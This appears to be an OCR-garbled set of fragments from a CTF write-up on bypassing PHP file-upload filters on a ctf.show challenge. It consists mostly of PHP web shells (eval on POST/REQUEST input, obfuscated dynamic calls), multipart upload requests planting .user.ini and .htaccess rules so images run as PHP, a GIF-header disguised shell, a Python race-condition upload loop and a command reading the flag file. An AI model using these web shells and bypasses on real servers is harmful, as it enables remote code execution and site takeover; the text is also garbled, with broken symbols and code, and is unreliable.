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script language="php”>echo 5 </SCript>AFREFESHERE
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explode( ,%a);
$b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);

ba=strrev( )E
$a($_REQUEST[1]);
?>

<?php
$a=$_REQUEST['a'];
$b=$ REQUEST['b'];
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import requests
import threading
session=requests.session()

def write():
while True:
& session.post(urll,data=datal,files ,cookies=cookies)
def read():
while True:
r session.get(url2)
if in r.text:

print(r.text)

threads [threading.Thread(target=write),
threading.Thread(target=read) ]

for t in threads:

t.start()
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Content-Disposition: form-data; name="file"; filename="1 txt"
Content-Type: image/png

<?php eval(§_POST(O]); 7>

Content-Disposition: form-data; name="fle"; flename=".user.ini"
Content-Type: image/png

auto_append_file="1.txt"
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{"code™0,"msg"™:"uploadV.user.ini"}

R EFE/upload H F FH1E.php XX, BEFIAKRS
Vi i) 1% 3, POSTHudfE B AT

http://097efba2-6734-45a6-b8a8-1e622199¢858.challenge.ctf.show:8080/upload/index.php

Postdata [ ] Referer [] User Agent [ Cookies Clear All

O=system('cat ../flag.php");
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root@kali:/home/sknife# cat .user.ini
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auto_prepend_file=GIF89a.jpg

HFBRATUSER—T?

al($_REQUEST[shell])</script>
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imagecreatefromgif($target_path)
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else if(($fileext ) ($filetype
if(move_uploaded_file($tmpname, $target_path)){

$im imagecreatefromgif($target_path);
if($im false){

$msg
@unlink($target_path);
}else{

srand(time());
$newfilename strval(rand()).

$img_path = UPLOAD_PATH. .$newfilename;
imagegif($im,$img_path);

@unlink($target_path);
$is_upload = true;
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"png">
SetHandler application/x-httpd-php
</ >
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Content-Disposition: form-data; name="file"; filename=" htaccess"
Caontent-Type: image/jpeqg

AddType application/x-httpd-php jpg

Content-Disposition: form-data; name="file"; filename="GIF8%a.jpg"
Caontent-Type: image/jpeqg

GIFE9a <script language="php'> @eval(d_FPOST['shell]); </script=>
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